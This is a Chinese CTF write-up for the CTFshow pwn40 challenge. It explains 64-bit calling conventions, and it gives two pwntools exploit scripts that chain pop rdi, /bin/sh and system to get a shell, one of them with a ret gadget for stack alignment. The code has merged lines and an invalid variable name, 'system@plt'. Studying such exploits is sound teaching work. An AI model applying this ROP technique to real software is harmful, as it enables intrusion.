当前位置: 首页 > news >正文

从CTFshow-pwn入门-pwn40理解64位栈溢出不都需要堆栈平衡

pwn40

64位栈溢出不都需要堆栈平衡,调试发现需要的时候再 ret

和上一题很像,这题是 64 位程序,区别在于 64 位的传参方式和考虑堆栈平衡

64位程序普通函数传参:

先使用 rdi、rsi、rdx、rcx、r8、r9 寄存器作为函数参数的前六个参数,多余的参数会依次压在栈上

方法一

checkse

ida 反编译

这里是栈溢出漏洞

还是记录地址

bin_sh = 0x400808

system = 0x40066E

这里需要找pop rdi来存bin_sh,我们使用工具 ROPgadget 来获取

ROPgadget --binary pwn --only "pop|ret" | grep rdi

pop_rdi = 0x4007e3

构造payload = b'A' * (0xA + 8) + p64(pop_rdi) + p64(bin_sh) + p64(system)

  • pop_rdi用于将下一个值弹出到rdi寄存器中
  • p64(bin_sh)pop_rdi弹出到寄存器

构造 exp

# -*- coding: utf-8 -*-
from pwn import *
#context(arch = 'i386' ,os = 'linux',log_level = 'debug')
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28223)
elf = ELF('./pwn')bin_sh = 0x400808
system = 0x40066E
pop_rdi = 0x4007e3payload = b'A' * (0xA + 8) + p64(pop_rdi) + p64(bin_sh) + p64(system)
io.sendline(payload)io.interactive()

这里堆栈是平衡的,不用处理

拿到了 flag


方法二

刚刚说不用考虑堆栈平衡
但如果!你跳转到了system@plt,这个时候就不平衡了需要用 ret 处理!

system@plt = 0x400520

先不加 ret 调试看一下

果然卡在了这里,随便找一个 ret 处理堆栈平衡

ret = 0x400779,构造 exp

# -*- coding: utf-8 -*-
from pwn import *
#context(arch = 'i386' ,os = 'linux',log_level = 'debug')
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28223)
elf = ELF('./pwn')bin_sh = 0x400808
system@plt = 0x400520
pop_rdi = 0x4007e3
ret = 0x400779payload = b'A' * (0xA + 8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system@plt)
io.sendline(payload)io.interactive()

一样拿到 flag


http://www.xdnf.cn/news/1377451.html

相关文章:

  • 致远OA新闻公告讨论调查信息查询SQL
  • Linux操作系统——TCP服务端并发模型
  • 域名、ip、DSN、URL
  • 虚拟机逃逸攻防演练
  • 装饰器模式(C++python)
  • 如何提升素材检索效率?语义搜索在 DAM 中的应用效果全解
  • 广东省省考备考(第八十八天8.27)——判断推理(听课后强化训练)
  • 基于NXP iMXRT600音频算法开发方法
  • 【ros-humble】【虚拟机】网络配置
  • 【leetcode】105. 从前序与中序遍历序列构造二叉树
  • 机器视觉学习-day05-图片颜色识别及颜色替换
  • 指针 (六):sizeof和strlen细节强化之“做题篇”
  • 深度学习:常用的损失函数的使用
  • Python随机选择完全指南:从基础到高级工程实践
  • 数据库:缓冲池和磁盘I/O
  • FPGA入门学习路径
  • 【Python 提高】GUI 界面 Tkinter 库布局管理器 Pack 方法开发指南
  • 树的常见算法及Java实现
  • 【yocto】Yocto Project 核心:深入了解.inc文件
  • Java循环结构全解析
  • android 嵌套webview 全屏展示 页面延伸到状态栏且不被底部导航栏遮挡
  • 高并发内存池(11)-PageCache获取Span(下)
  • 【C++标准库】<ios>详解基于流的 I/O
  • 腾讯云 CVM 上的 SpringBoot 应用避免非法访问
  • 寄存器的原理
  • YOLOv8-SMOT:一种高效鲁棒的实时小目标跟踪框架:基于切片辅助训练与自适应关联
  • 人工智能-python-深度学习-反向传播优化算法
  • ESP32使用场景及大规模物联网IoT
  • 流水线用到的Dockerfile和构建脚本build.sh
  • 如何安装 mysql-installer-community-8.0.21.0.tar.gz(Linux 详细教程附安装包下载)​